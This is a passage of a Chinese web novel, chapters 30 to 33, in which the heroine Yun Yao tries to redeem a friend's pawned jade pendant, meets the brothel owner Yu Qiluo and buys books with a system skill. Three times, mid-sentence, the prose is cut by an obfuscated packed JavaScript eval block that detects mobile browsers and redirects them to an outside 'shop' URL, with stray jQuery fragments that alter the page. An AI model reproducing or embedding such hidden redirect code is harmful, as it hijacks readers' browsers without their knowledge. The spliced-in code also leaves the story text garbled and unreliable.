大概是有日光落下，正好落在箱子锁头中间的缝隙里。云曜可以看到，里面隐隐有金光闪动。 嗯…… 等等，金光？ 这时，云曜才意识到不对劲。 “二娘子，这是家主临行前为你准备的盘缠，全都在这里了。请点验——” 话音落下，一人拿出钥匙，行动迅捷地把箱子的锁头打开。 霎时间。 金光璀璨。 云曜心脏重重一跳，眼睛有种被闪瞎的错觉。她跟脑海中的系统一起，发出了与嬴若水一模一样的惊呼。 “我骟？！” 【我骟？！！】 30. 第 30 章 眼前，一个个锃光瓦亮的大金元宝，圆润地躺在箱子里的丝绸之上。 ……刺得人眼睛有点痛。 在大曌，黄金跟白银的兑换比例约莫是1：10。理论上来说，一两成色足的黄金，能换到十两官银，反之亦然。 可在现实中，民间几乎见不到“金子”这个单位。 除了商贾的大宗交易，平常生活中，百姓们最常使用的是铜钱——便是日常中所说的“几文钱”、“几吊钱”——连碎银都不常见。 正因如此，之前沈令仪的仆从给卖货姑官银时，那货姑的嘴都快咧到耳根后面去了。 成色好的官银极为难得，若是兑换成铜钱，能比市场价多不少钱。 至于眼前的黄金，对普通百姓而言，更是天方夜谭。 普通百姓·嬴若水：“小、小曜，你掐我一把，我是不是在做梦？” 她喃喃自语，声音都在发飘，像是浮在高高的云端。 与她相比，云曜表现得好一些。在初震惊后，云曜便回过神来。 这可不行。 自己是云氏二女儿，怎能表现得这样没见过世面？ 于是，云曜右手虚握成拳，放在嘴边，假装已习惯这一切。 “咳，这就是50两金子？” 没成想，右仆从恭敬开口： “不止。二娘子，这里共计有六十六个金元宝，是家主出门前，千叮咛万嘱咐要为你带上的。” 云曜太阳穴不受控制地一抽，伪装出来的冷静差点就地破灭。 66个大金元宝。 ……居然比预想中还多了不少！ 在大曌，民间已有“六六大顺”的说法。从数字的选择上，不难看出，云和月的一片拳拳爱女之心。 【不过，没想到她会把实打实的黄金给你带过来。】系统刚从震惊中恢复，感慨道，【放在宿主你的前世，这大概相当于身上带着大几十万现金。】 “啧。” 【还全是纸钞。】 “啧……！” 这个比喻，让云曜有点口干舌燥。 在这种极具冲击感的钞能力展示方式下，她别过脸，刻意不去看那些胖乎乎的黄金。 “好了，把箱子关上吧。我们这就走。” 左仆从又毕恭毕敬询问：“二娘子，此行匆忙，还有些珠宝饰物没拿。如果二娘子急需用钱……” “没关系，这些已经足够。” 云曜大手一挥，果断让两个仆从带上箱子，跟自己一起走。 她平复激动的心绪，开始思考正事：嬴若水把玉佩卖出去时，拿到8两银子。 就算现今赎价能翻十倍，8两银子也才变成8两黄金。这对手握巨款的她而言，也就是洒洒水。 她暗暗想：只要没有意外情况—— 嬴若水的玉佩，完全手到擒来！ * 然而。 半个时辰后。 “实在不好意思，这位娘子。”当铺老板抹了抹额头的汗。 “您说的那枚玉佩，已、已经被别人赎走了。” ——意外情况还是发生了。 此话一出，店内温度瞬间降至冰点。 云氏两名仆从如今正在马车内等候，看护着箱箧物品。因而，店里除了老板，只有云曜和嬴若水两人。 云曜眉头紧锁，眯起双眸。 她冷声道：“不是前几日才典当的么？应该没有逾期吧。” 寻常当铺，在客人典当完物品后，会约定期限，为其保留几日乃至数月不等。 只要客人能在规定期限内筹到赎回物品的钱，九出十三归，便可以把自己典当出的物品，再原封不动地赎回去。 当铺老板头戴紫貂毛小帽，是个长相和气的中年女人。此时，她不停点头哈腰，讨好地陪着笑脸。 “常理是如此，只是……” 话音未落。 砰——！ 一声巨响如惊雷般，在店内炸开。 只见嬴若水双目圆睁，气沉丹田，大掌往当铺老板身前的柜台一拍。 这个通体由苍山大理石制成的柜台，竟在这一击之下，发出了不堪重负的声音。 明眼人都能看到，有一道细细的裂纹，自她掌心向下蜿蜒。 “不是说好了，期限是一个月么？！” 嬴若水怒道，把柜台拍得震天响：“你这劳什子混账掌柜，怎能把我的东西卖给别人？” “噫、噫……！” 老板吓得浑身一悚，头顶的帽子都被抖落在地。 “我也没打算卖，只是方才……不，没什么。” “方才？”云曜敏锐地捕捉到这个细节，问，“你是刚卖出去不久？” “这……” 老板瞬间哑然。 常年行商的直觉，让老板明白，面前两人都不是好惹的。 那个满身煞气的高大女人还好说一些。这种把凶狠摆在明面上的，只要不刻意激怒对方，就有办法应对。 但是。 旁边那个深藏不露、初见便莫名让人很有好感的小娘子，恐怕才是幕后主事之人。 想到这里，老板神色仍保持惊恐，余光却悄悄移到云曜身上： 在紧绷的气氛之下，这气质不俗的小娘子显得丝毫不慌，若有所思地撑起下巴，似是在思考什么。 “这里的味道……” 她听到小娘子低声嘀咕。 突然间，或许是意识到了她的目光，小娘子忽而掀起眼皮。 那双深潭般的眼眸，直直地看向她。 像是能看穿人的心底。 老板深吸一口气，电光火石间，便作出了决定。 “唉，的确是刚卖出去。方才买走玉佩的那位贵客——不，那位客人，”她选择将一切和盘托出，“经常来此地。不过，他一般只是把东西买回去玩玩，不出一个月就会玩腻，通常都会还回来的。” “经常来此地？”云曜问。 老板不知想到了什么，尴尬一笑，手指无意识地在脖颈处来回摩挲。 “那位客人在附近也很‘有名’。没办法，这边不少女人，都得跟他手下的儿郎打交道……” 她说得隐晦，云曜却听出了弦外之音。 看来，买方身份特殊。 怕不是什么正经人。 不知为何，云曜从进门起就觉得，当铺里萦绕着一股惹人心痒的异香。 像是摇曳盛开到顶峰时，被人无心碾下的鲜红花瓣；又像原本好好地装在精致盘子里，却被人失手打翻的融化糕点。 袅袅氤氲，如同一团看不见的香雾，有意无意往人鼻子里钻。 ……分外勾人。 “反正，这边做事的生意人都得卖他一个面子。甚至，整个北岳县乃至祥符郡的官姥姥们，都跟他——” 老板遮遮掩掩的话语，被云曜冷不丁打断。 “难不成，你说的这人，是青楼的伎子么？”她问。 这种特殊香味，只可能来自男人。 在学宫里，陆丹若身上也带着香气。不过，那味道干净又纯粹，仅仅是普通的石榴花香。 “——哎呀，什么青楼伎子？” 忽然间。 一道慵懒缱绻的男声，在云曜身后响起。 “云小娘子这话说的，无情无义，真叫人听了伤心。” * 来者是谁？ 云曜确信，自己从未听过这道声音。她转过身，兀地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13584080|140262||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对上一双极精致漂亮的桃花眼。 眼尾部分，特意用偏红的黛粉细细描画、拉长，极其风流美丽。 活像一只成精了的公狐狸。 再往下看，来人身着一身极惹眼的绯红织金纱袍，喉结处系了条飘逸的纱巾，劲瘦腰肢被一条玄色丝绸束起，领口却大喇喇地敞开，精致锁骨下方，半露出白皙饱满的胸肌。 他悠闲地抱臂环胸，倚在门扉旁，不知是有意还是无意，行动间让领口敞得更开，胸肌也勒得更为惹眼。 饶是大曌民风开放，这个男人的打扮，也可以称得上是惊世骇俗。 ——是会在背后，被其他良家夫男狠狠吐唾沫星子的那种。 滴！ 电子音在耳畔响起。 【[入画]技能已发动。】 入画？ 这个有些陌生的名词，让云曜怔愣片刻。 她仔细回忆了一会儿，才想起这技能的作用是什么：[入画]技能是之前沈令仪为她作画时获得的。其效果是，当自己在被人画进画卷时，会十分显眼、引人瞩目。 难道，最近有谁画过她么。 自己怎么会突然发动这一项技能？ “云小娘子，看你这副表情，莫非是不记得我了？” 此时，见云曜许久不出声，男人忽然开口。 先前那股勾人的异香，变得更加浓烈。 他笑得灿烂，语气却带着恰到好处的幽怨：“唉，云小娘子，你真是让我好伤心啊。” 这一丝撒娇似的抱怨，像猫儿的尾巴在挠人，一下，又一下，令人心痒得紧。 云曜看着眼前笑吟吟的漂亮男人，面上没出声，心里却在疯狂敲系统。 “系统，原身是不是认识这个人？” ……总不会又是个男青梅吧。 但看此男胸肌的形状轮廓（？），在年龄上，他应当比她大一些。 约莫二十岁上下的样子。 【未在原身记忆中检索到该人物的相关内容。建议宿主与其肢体接触，以获得详细信息。】 得到系统的回复，云曜了然：既然它说不认识，那看来，这人极有误导性的说法纯属碰瓷。 两人根本没见过面。 这人如此自来熟，莫非是另有所图？ 思及此，她挑起眉梢，直视那双带笑的桃花眼，语气分外冷淡肃穆。 “我不认识你这样的男人。” “……我这样的男人？” 话毕，她看到，男人脸上笑容蓦地一僵。 似是没想到云曜会说出这种尖利伤人的话语。 但他大概是惯常在社交场周旋，仅仅数息后，便重新摆好了笑容。 “云小——” 没等他说完，云曜又果断开口，打断了他。 “这些都不重要。我问你，是你买走了玉佩？开个价吧，我付得起。” 此话一出，男人刚戴上的笑容面具，又一次出现了裂痕。 他定定地看着云曜，忽然歪了下头。 眼神里透出一种天真烂漫的责备——只是，这种天真像是被腌渍的罐头蜜桃，就算看上去跟真桃子没差别，轻轻用手指一戳，就能戳出靡艳的、人工的汁水。 “没错，是我买走了玉佩。怎么，你一个大女人，要跟我这样的男人计较么？” 他特意在“我这样的男人”加重了语气。 没等云曜开口，他又“噗嗤”笑了一下。像是方才的讽刺，只是人的错觉。 “好啦好啦，不要表情这么严肃。我不喜欢。对了，还没告诉你。” “我叫……玉绮罗。” 他笑意盈盈，眼波流转，轻声说：“很想要玉佩么？那，今晚来满春楼，我等你。” 31. 第 31 章 说完，玉绮罗便转身离开。 他似乎轻笑了一声，又仿佛只是云曜的错觉。 惹眼的绯红纱袍，轻飘飘挂在男人的身上，在眼底留下一道鲜红的影子。那股袭人的异香，在他离去后，也渐渐变淡。 “……啧。” 在玉绮罗身后，云曜微眯双眸，心里莫名浮现出一句话。 ——爹的，装什么吊！ 不过都是些勾引女人的小把戏，这种男人，她了解得很。 当然，不可否认的是，能看出他的领口确实很白……啊不，锁骨确实很大。 “玉公子！当心太阳。” 门口站着一个男小厮，见他出来，连忙引他上一架华盖马车。 那小厮打扮虽没玉绮罗这样冶艳，却也穿了寻常男子极少碰的薄纱小褂，行动时隐约可见细柳般的腰肢，颇为大胆。 但与玉绮罗一比，他还是过于青涩幼稚，身上明显缺少一种隐秘的勾人感。 或者说，熟男感。 “哒哒”的马蹄声渐远，扬起一片尘土。 待玉绮罗离去后，嬴若水面上浮现出担忧的神情。 “竟是满春楼……” 她低声对云曜说：“这正是我那位青梅被卖过去的地方。” 云曜沉思半晌，颔首道：“看来今晚，你我二人是非去那里不可了。” “是啊，唉，看了这男人的样子，我心中更挂念。” 嬴若水单手捂额，忧心忡忡：“湛儿是多么纯洁无暇、楚楚可怜的一个男儿，跟这位玉公子相比，简直一个天上，一个地下。他怎能在青楼那种腌臜地方久呆呢？” 她口中的“湛儿”，正是那苦命的男青梅，其名为白湛。 “没事，今晚我们就把玉佩和他一起赎出来。”云曜宽慰她。 话音刚落，脑海里的系统忽然出声。 【可是宿主，在原书里，嬴若水并没有跟她的青梅重逢。】 【若是这样做，势必又要更改原书的剧情线……】 云曜有些无奈：“没办法。现在这种情况，嬴若水无论如何都会去赎那个男人的。” 管不了那么多了。 她想：一个男人而已，嬴若水的后宫就算多塞一个也无妨。 关键还是在于那枚玉佩。 得先拿到玉佩，再设法写信让沈令仪知晓。只有这样，才能让嬴若水归京，使主线剧情回到正轨。 “小曜。小曜？”见她忽然不出声，嬴若水低声问，“怎么了？” “无事，”云曜中断跟系统的谈天，回过神来，一本正经地编谎话，“我只是在想，要如何顺利地把东西跟人赎回来。” 这时，身后突然传来一道小心翼翼的声音。 “这位客人——啊不，这位贵客。莫非，你是祥云绸缎庄的云曜，云二娘子？” 云曜回头一看，原来是那位被人忽视了许久的当铺老板。 “嗯，是我。” 她干脆地点头应下。 自己今天穿得富贵显荣，目的就是为了借势压人，恨不得拿张白纸，把“本人便是那不好惹的富家千金！”贴在脸上。 这样做，本是为了顺利拿到玉佩，没成想，半路竟杀出个玉绮罗。 见她承认，老板堆出满脸笑容，眼角的褶痕都深了许多。 “失敬失敬，原来是绸缎庄的云二娘子！听闻娘子先前一直卧床休息，身体如何了？还有令尊*跟令姊，近日可还好么？” 没等云曜回话，她又义愤填膺，似是很为云曜感到不平。 “哎呀，早知是二娘子的玉佩，我说什么也不会让那伎子买走！别说保管期是一个月了，那玉佩在我这里放一年、五年都成。” “……噢？” 云曜不置可否。 她心里跟明镜似的：这老板在商海沉浮多年，惯会见风使舵、看人眼色。 先前还尊称玉绮罗为“贵客”，现在就能明目张胆地斥他为“伎子”——只是因为，云曜在她眼中，比玉绮罗更有价值。 况且，事后说再多，又有什么用？ 玉佩不还是被别人买走了。 老板见云曜神色莫测，生怕她心里不舒服，回去后会跟家里人闹事，面上表演更卖力。 “呸，”她狠狠啐了一口，声情并茂地破口大骂，“他大爷的，不过一个开青楼的儿郎，浑身乌烟瘴气，老娘发誓以后绝不会让他再进我家店门——” 听到这里，一旁的嬴若水突然“咦？”了声。 “开青楼？那个男的居然是青楼的老板郎？” 老板本欲酣畅淋漓地咒骂一番，以撇清自己跟玉绮罗的关系，没成想，才刚开了个头便被人打断。 她明显怔愣了下：“是、是啊，正是东侧半里地外的满春楼。” 嬴若水倒吸一口冷气，表情更是担忧。 “糟糕。那湛儿的死活，岂不是都掌握在他手上！” 旁边，云曜眉梢一挑，也颇有些意外。 自己还以为，这玉绮罗会是满春楼里的当红头牌。 任谁来看，那般勾人身段跟模样…… 都更像个浸淫风月场、周旋于女人之间的公狐狸，而不像是能使唤其他儿郎、笼络伎子为他做事的青楼老板郎。 老板顿了顿，嗤笑一声。 “两位娘子有所不知，这姓玉的小郎在此地颇有些手段，跟北岳城里不少官姥姥都攀上了关系。前段时间大办‘赏花季’，这两天又改办‘折花季’，真是好一阵噱头。” 云曜垂下眼帘。 “攀上关系？” 虽是问句，语气却很平淡，让人捉摸不透。 老板心领神会，明白云曜对这个话题至少是有些兴趣。她对着云曜谄媚一笑，顺势往下谈： “要我说，不过一介柔弱男儿，身边又没个女人给他镇着，哪怕现在满春楼正风光，也迟早有他吃苦头的一天。” “能把青楼做得有声有色，确实是个奇男儿。不过，我最后再告诉二位娘子，这儿郎身上还有个更稀奇的事。” 说着，她露出一个只有女人才懂的神秘笑容，示意两人凑近。 “什么？” 老板压低声音：“听侍奉他的男小厮说，玉绮罗身上的‘那个东西’，至今还好端端留着呢。” “‘那个东西’？”云曜蹙起眉头，摸不着头脑。 嬴若水却是已经恍然大悟：“莫非是……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13604524|140262||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “哎呀，就是‘那个’，”老板伸出食指，在空中虚点了一下，“儿郎身上原本都有的——” “守宫砂呀。” * 直到跟嬴若水二人走出当铺，来到旁侧的饮冰书斋，云曜都还在回味当铺老板最后说的话语。 ……守宫砂？ 系统及时出来科普：【守宫砂，是大曌儿郎自小烙印在身上，自证贞/操的一种方式。】 云曜：“……” 差点忘了，这里可是大曌朝。男子身上有守宫砂，并不是一件稀奇事。 “这守宫砂，是怎么点到身上去的？”知晓了来源后，她颇为好奇。 竟当真有方法，能检验男子的贞洁？ 【当前为模拟人生系统2.0版本，已为宿主开启[详细科普]模式。】 在系统更新为2.0版本后，它便扩充了不少功能。 就像是现在—— 电子音落下的一瞬间，云曜脑海便被塞了不少新知识。 原来…… 在南方湖泽之地，生长着一种草药，名为“男儿泪”。 此草生于水畔，沐风浴露，平日叶脉舒展、茎脉坚韧，叶色淡青如远山黛。 但一旦被虫鸟采过蜜，叶子便会变为无色，茎脉也变得绵软不堪，极易被风霜雨雪摧折。 数百年前，前朝大祇有一位无名医者外出云游。在采药时，她无意间采到了此草。 很快，她便发现：如果把这种草药研磨成粉，再用烧红的烙铁滚过，只要往男人大腿内侧一沾，看印记有没有消失，便能检验出这男人是否还是处子。 周围有儿子的人家听说后，都悄悄上门。 “我家儿子没有跟外女私通吧……” “可否也给我儿试试？” “若是他敢撒谎，我今日就让他扫地出门、自生自灭！” 一开始，仅仅是母父会用守宫砂，给未出阁的儿郎偷偷验身，防止有不检点的儿郎败坏门楣。 后来，过了百年时间，这便成了儿郎降生时的初洗礼。 发展至今，大曌的烙砂工艺变得极为发达，从制药到烙砂，形成了十分完整的产业链，养活不少人。 一般人家，都会找专门做这行的烙砂公，在婴儿时期便给自家小儿郎烙上守宫砂。 如今，市面上有各种漂亮形状的烙铁，梅花、月牙、芙蓉等，约莫半只小指大小。 烙砂过程并不会多疼痛，最后出来的效果还甚为美观。 【详细信息已为宿主展示完毕。】 “喔……” 云曜消化了一遍知识，却有些困惑。 “既然烙在大腿内侧，平时别人也不能扒着看。有什么用？”她问。 这守宫砂，不是为了表明自己是处子么。 可是，藏在那样隐私的地方，也没有人会看到吧？ 系统沉默了一会儿，才缓缓开口： 【对此地儿郎而言，新婚之夜，与妻主一起查验守宫砂的真身，赏玩它在剥落褪色前的最后一面……】 【也是一种难得的闺房情趣啊。】 注1.大曌朝设定，“令尊”为母亲，“令堂”为父亲。 32. 第 32 章 “咳咳咳——” 云曜先是一怔。 而后，一口浊气从胸腔上来，闷在喉咙里，没忍住咳嗽起来。 都怪系统描述得太过旖旎香艳了！ 【宿主，我只是客观叙述，请不要给我扣黑锅。】耳边传来抗议。 自从两人有了共同的“外敌”后，它似乎越来越人性化。 连先前冷冰冰的电子音，都变得有温度起来。 旁侧有机灵的书童走上前，为她拍背顺气，并奉上一盏热茶。 “女君请喝。” 云曜也不跟她客气，伸手便接过青白瓷茶盏。 “……呼。” 一口醇酽热茶进肚，毛毛刺刺的喉咙终于熨帖起来。 方才两人刚踏进饮冰书斋，便是这名书童走上前来，要走了冯见微为云曜列出的书单。 “女君，你交予书单上的书，还有先前额外要的书籍，已全都找齐。”书童恭敬道。 恰在这时，嬴若水从书斋内室走出来，单手搬着一摞近三尺高的书堆。 “小曜！我把你要的书，全都搬来了。” 饶是“书山”重量非比寻常，她面上仍是轻轻松松，连呼吸都没有一丝不稳。 “当真是一阵好找，这里面有许多本书，连我都没见过。” 嬴若水兴致勃勃，丝毫不累，还有余力用另一只手拍胸脯担保：“放心，你若是还有想要的书，我再回去帮你拿！” 她手中搬的，正是云曜额外点名的书。 也都是让系统帮忙扫描的，[文学]5级以下的书籍。 之所以只扫描低等级书籍，是因为当初云曜拜师沈令仪时，对方给她留下了许多珍贵古籍——珍贵也意味着高级，沈令仪留下的，全是[文学]5级以上的书目。 故而对云曜而言，自己只需“进货”低等级书目即可。 最终，书单上的书，与系统扫描出的新书叠加，足足有四十六本之多。 从[文学]1级到4级，分别有：八本，十五本，十二本，十一本。 幸亏有天生神力的嬴若水帮忙，仅仅两刻钟功夫，便将所需书目全部找齐。 “若水，辛苦你了。把这些书先放下吧。” 云曜啜了几口茶水，微微颔首，对书童说：“这些我都要了。多少钱？” “稍等一下，我去后头的库房把掌柜叫出来。” 书童眼睛滴溜溜转，生怕云曜误会，又补充道：“对了，女君可莫怪我家掌柜没出面招待，只因今日来了许多新书，她一大早起来就在盘点呢。” “嗯，无事。” “实在是不好意思，女君且在此等候片刻。” 把前因后果交代清楚，书童又有模有样地对云曜作了个揖，才选择退下。 待她走后，云曜手捧茶盏，只觉通体舒畅。 她想：不愧是北岳县最负盛名的书坊，从服务到品质都十分周到。 而且。 自己终于看到郡试成功的曙光了！ 单是把这些书全罗列在一起，就给人一种“我一定能读完”的错觉。就像前世的购物车加购，不用真正购买跟使用，只需把名目放在那里，就能使人畅想美好未来。 【宿主，读书可不能光靠想象，要真的读完才行。】 【我们还不知道真实人生系统对郡试做了什么手脚，所以，得做好万全的准备。】 一提到真实人生系统，云曜心中忽然划过一丝危机感。 “嗯，我知道。” 她收起心中的松懈，点点头。 “——承惠，总共4两23文。” 忽然间，一道低沉声音在店面后方响起。 * 云曜循声回头。 没料到，映入视线的竟是个面相凶狠，目光炯炯，眉间有刀疤的女人。对方走路姿态大开大合、虎虎生风，没一会儿就移步到她眼前。 这谁？ “女君，这是我家掌柜，姓宋。”书童走到云曜身边，悄悄对她说。 云曜恍然大悟。 “……原来是宋掌柜。” 她下意识仔细端详对方，难掩心中讶异：这竟是书斋的老板？ 完全不像个读书人。 不免让人心中生出些好奇：像这样的人，怎么会选择开一家书坊？ 宋掌柜似是习惯了她人的打量，神色如常，坦然自若。 “女君十分面生，是刚来北岳县么？” “嗯，我来此地读书。”云曜说。 “女君贵姓？” “我姓云。” “噢，原来是云女君。这样吧，您在我这儿买了这么多书，我做东给您抹个零，您给我4两就行。” 她咧嘴一笑：“我知道，女君应当不缺这点小钱，不过，我宋某平生最爱与读书人相交。女君不妨卖给宋某人一个面子，就当是我俩交个朋友。” 听了她的话，云曜暗暗点头。 她想：这位宋掌柜虽然一身江湖气，但社交能力可比隔壁的当铺老板强多了。 明明是让她占了好处，在宋掌柜口中，却变成“给宋某人一个面子”。 话术巧妙，讨好却不谄媚，落在听者耳中，十分熨帖。 “来人——” 云曜刚欲出声，叫仆从拿钱过来，便被人制止。 “女君不用跑动，我去请人。”这家的书童极有眼力见，不用云曜开口，就一溜烟跑到门外。 很快，门外等候的云氏仆从便走了进来。 “二娘子，这是家主给你留下的。” 对方说着，将一个沉重的褡裢递了过来：“都是些碎银，二娘子可以随意使用。” 褡裢是一种长方形口袋，形似锥桶，正中心开口，方便人从中取钱取物，算得上是一种古代版钱包。 大曌朝的褡裢还要更先进些，虽无后世的五金、拉链等，却也在中央扎上了几个圆扣，防止蟊贼偷鸡摸狗。 “好。” 云曜接过褡裢，点出四两银子，交给掌柜——此次出行主要带的是金元宝，不过云和月跟云旼当初也给她留下了不少碎银。 那两人眼中的碎银，放在普通老百姓眼中，已经算得上一笔大数目。 就像是现在…… 普通百姓·嬴若水震惊：“哇——” “光这碎银，就已经比我卖玉佩的钱还要多了！” 听到她的惊呼，收钱的宋掌柜笑了笑，并未接话，只收起银子转身走进里屋。 “没关系，若水，”云曜淡定地把剩下的银子交还给仆从，“从现在起，你不用再担心钱的事。我会为你把玉佩赎回来。” 自己早就打定主意。 不论付出何等代价，都要让剧情回归正轨。 这在她看来不算什么，落在嬴若水耳中，却让对方感动地眼泪汪汪。 “小曜……！” “好姐妹，多余的话我就不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13651313|140262||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说了。等把湛儿跟玉佩赎回来，我要在房间里准备一桌好菜好酒！就你我二人。” 嬴若水眼神亮晶晶的，看向云曜的眼睛充满信任。 云曜望着她，突然想到：初见面时，自己觉得，这个活力满满的原书女主特别像一只母狮。 而现在…… 在别人面前威风凛凛的“小狮子”嬴若水，在自己面前，更像一只忠心耿耿的大狗狗。 系统也在她脑海嘀咕：【原女主本来应该是这样子的么？看原书的第一卷跟第二卷，她好像不是这种人设来着……】 【总感觉，你已经把她的心拿捏得死死的了。】 正如它所言。 不知何时起，两人的地位已经发生了逆转。 最开始，是云曜千方百计接近嬴若水，想要沾一些天命之女凤傲天的气运。 现在，却变成了嬴若水唯她马首是瞻，真心实意地待在她身边。 “云女君，来讨个好彩头吧。” 这时，先前离开的宋掌柜走了回来。 她怀中还抱着十个刻着花鸟虫鱼纹的小漆匣，匣口被一层薄薄的宣纸蒙住。 “彩头？” 宋掌柜微微一笑：“这是本店特色——蒙彩。消费超过一两纹银的客人都能试一试，只有一个匣子里有大奖，若女君运气好，便能抽中。” 蒙彩，算是古代版的“买彩票”。 较为正式的“蒙彩”，通常会准备几十个漆匣，内置不同的“彩物”，即奖品。专门通过蒙彩盈利的，叫做“彩人”。 有的彩人会像变魔术一般，提前让买家看好奖品，再把奖品放入漆匣，用令人目不暇接的手法打乱，让买家猜测哪个匣内有奖品。 而眼下宋掌柜所说的蒙彩，显然并不算正式，只是个余兴节目。 “好。” 十个漆匣，中奖的概率仅有十分之一。 云曜没想过中奖的事，只挑了个顺眼的仙鹤纹漆匣，把手伸进去。 可就在这时—— 滴！ 【家族特征效果[经商鬼才]已发动。】 【你们的血液里流淌着数字和钱。由云氏族女发起的经济交易活动，将获得20%的产出增幅。】 突如其来的提示音，令云曜一愣。 在家族特征上，她一向只记得自己失效的[榆木脑袋]，都快忘记：云家祖上八代富商传承，还带了个[经商鬼才]。 经济交易活动？应当是指这次买的书籍吧。 那这20%产出增幅，又是指的什么？ 她从漆匣中摸来摸去，手指突然触到一张丝绢。指尖在丝绢上戳了几下，摸不出什么门道，便一鼓作气将其抽出。 抽出后定睛一看，上面写着两个大字。 ——头彩。 屋内静默一瞬。 “呀，中了！” 一侧的宋掌柜拊掌大笑，看起来比云曜还开心。 “哈哈，许久没人中彩，今天果然是个吉利日子！” 在旁等候的书童见状，立马“哒哒”跑进内室，没一会儿便抱了一大堆笔墨纸砚走出来。 “不愧是云女君，一身雍容气度不用说，运气也顶顶好，”宋掌柜感慨一句，将东西交付云曜手中，“真是个好彩头，正所谓‘读书破万卷，下笔如有神’。” “这些笔墨纸砚，都是额外赠送给女君的。愿女君前程似锦，平步青云。” “请收下吧！” 33. 第 33 章 “竟真的中彩了……” 走出书斋后，嬴若水不可思议地咂咂嘴。 一番折腾下来，时间已是午后。秋日阳光并不炽热，落在人身上，像是蒙了一层轻薄的暖纱。 云曜与嬴若水并肩而立。 她注视着仆从将一大堆笔墨纸砚搬到马车上，心中渐渐了悟。 原来，这就是[经商鬼才]的发动效果。 这些笔墨纸砚与书斋内售卖的常物不同，比如，其中有种叫“松墨”的墨块，看似平平无奇，实则掺之以松烟、珍珠、玉屑、龙脑等多种名贵物品，经过反复捶捣才成型。 以价值估算，总体差不多在800文铜钱上下——也就是4两银子的20%。 想到这里，云曜心思活络开来。 怪不得自家亲娘跟亲姐都那么有钱！祖上八代富商传承，可不是吹出来的。 她不自觉打起了小算盘：若是每笔生意都能通过[经商鬼才]，额外捞到20%的利润…… 【宿主，比起赚钱，不如多赚些人生点数。你现在连第三卷《凰将：不败战神》的零头都买不起呢。】电子音忽然在耳畔响起。 “……” 【况且，这[经商鬼才]特征也有发动限制的。需要由云氏女本人发起经济交易活动才行。】 【比如方才买书，如果不是你来拍板，而是委托仆从购买，那便不会有任何效果。】系统补充道。 云曜耸耸肩，无奈道：“好好好，我知道。” 反正她也只是嘴上说说，当前阶段，自己并不缺钱。 就像是读书时期的孩子不需操心家计，她现在需要做的，就是好好读书——需得想方设法，在来年三月的郡试上独占鳌头才行。 “二娘子？二娘子！” 正跟系统脑内交流间，仆从已经妥当收拾好了这笔“意外之财”。 云曜回过神来：“怎么了？” “不知接下来娘子打算去哪里？”仆从问。 青楼一般在酉时开门迎客，离现在差不多还有一两个时辰。 时间尚早。 云曜看了眼这条繁华的街道，沉吟片刻。 她说：“我跟若水随便逛逛，消磨一下时间。你们就直接去满春楼附近等候吧。” 今晚要去的满春楼，并不是什么光彩地方。 大曌民间有歌谣，劝人不要耽于男色，歌曰：二八佳人体似酥，腰间仗剑斩愚妇；明里不见人头落，暗地使君形神枯*。 读书人顾及颜面，更不能大摇大摆地走进青楼。 身边跟着两名仆从跟一架轩车，再加上云曜今日的穿着，一行人在大街上实在是太过显眼。 既然已买完所需的东西，这之后，还是低调谨慎些为好。 仆从们彼此对视一眼，犹犹豫豫。 “可是二娘子，家主特意嘱咐过，在学宫读书期间，务必要看好……” “你们现在跟着的人是我，又不是我娘。好了好了，就这么说定了。” 云曜懒得跟她们掰扯，只随意挥了挥手。 “——走喽，若水！” 说完，拉着嬴若水便往前走。 或许是被她的气势所镇，两名仆从果真没有跟上来。 接下来，云曜二人在街上东逛西瞧，惹来不少儿郎侧目。 青天白日，上街游玩的儿郎不算多。而这些儿郎只要看到云曜，没有一个能移开视线。 胆小些的，看她一眼便含羞跑走；胆大的，直接拉着身旁的伙伴议论起来。 “呀。哪里来的俊俏娘子？” “真是翩翩淑女、芝兰玉树……不知她可否有心上人？” “其实，她身边那个高高壮壮的娘子也不错。啧啧啧，看那臂膀，比我的小腿都粗，多让人有安全感啊。” 儿郎们私下里的小声议论，没有传到云曜耳朵里。 她早就习惯来自女女男男的打量，如今，已经能做到熟视无睹。 逛累后，她便跟嬴若水找了家带棚子的茶肆歇息。 “两位娘子里面请！” 小二用热水烫了茶碗，手脚伶俐地上了茶。 街边茶肆，不像富贵人家一般讲究，以“量大管饱”为目的，泡出的茶别有一番市井风味。 云曜刚端起碗，便听到嬴若水问她。 “小曜，你不是云氏二娘子么？可我怎么感觉，你好像从没来过这里。” 方才两人在街上一同闲逛时，嬴若水就注意到，云曜看什么都新鲜。 北岳县是祥符郡的政治文化中心，以云曜云氏女的身份，她绝不可能是第一次来这里。 